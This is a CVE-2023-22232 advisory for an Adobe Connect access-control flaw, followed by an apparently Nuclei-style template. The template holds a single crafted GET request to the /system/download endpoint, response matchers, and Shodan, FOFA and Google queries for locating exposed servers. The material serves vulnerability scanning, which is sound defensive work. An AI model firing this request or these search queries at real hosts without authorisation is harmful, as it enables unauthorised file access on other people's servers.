Adobe Connect versions 11.4.5 (and earlier), 12.1.5 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature. Exploitation of this issue does not require user interaction
PoC代码[已公开]
id: CVE-2023-22232
info:
name: Adobe Connect < 12.1.5 - Local File Disclosure
author: 0xr2r
severity: medium
description: |
Adobe Connect versions 11.4.5 (and earlier), 12.1.5 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature. Exploitation of this issue does not require user interaction
reference:
- https://helpx.adobe.com/security/products/connect/apsb23-05.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-22232
- http://packetstormsecurity.com/files/171390/Adobe-Connect-11.4.5-12.1.5-Local-File-Disclosure.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2023-22232
cwe-id: CWE-284,NVD-CWE-noinfo
epss-score: 0.88663
epss-percentile: 0.99487
cpe: cpe:2.3:a:adobe:connect:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: adobe
product: connect
shodan-query:
- title:"Adobe Connect"
- http.title:"openvpn connect"
fofa-query: title="openvpn connect"
google-query: intitle:"openvpn connect"
tags: packetstorm,cve2023,cve,adobe,lfd,download
http:
- method: GET
path:
- "{{BaseURL}}/system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf"
matchers-condition: and
matchers:
- type: word
words:
- "Save to My Computer"
- "exam.pdf"
- "Click to Download"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402202602e62f43e351c934b46440ddb94bb1951a942f5f022bbb54b92f4e3787b3b702201ec728830ca8a5d19dd4581412c3d3bf505e6d4fd8eb207a22e6094e9234491d:922c64590222798bb761d5b6d8e72950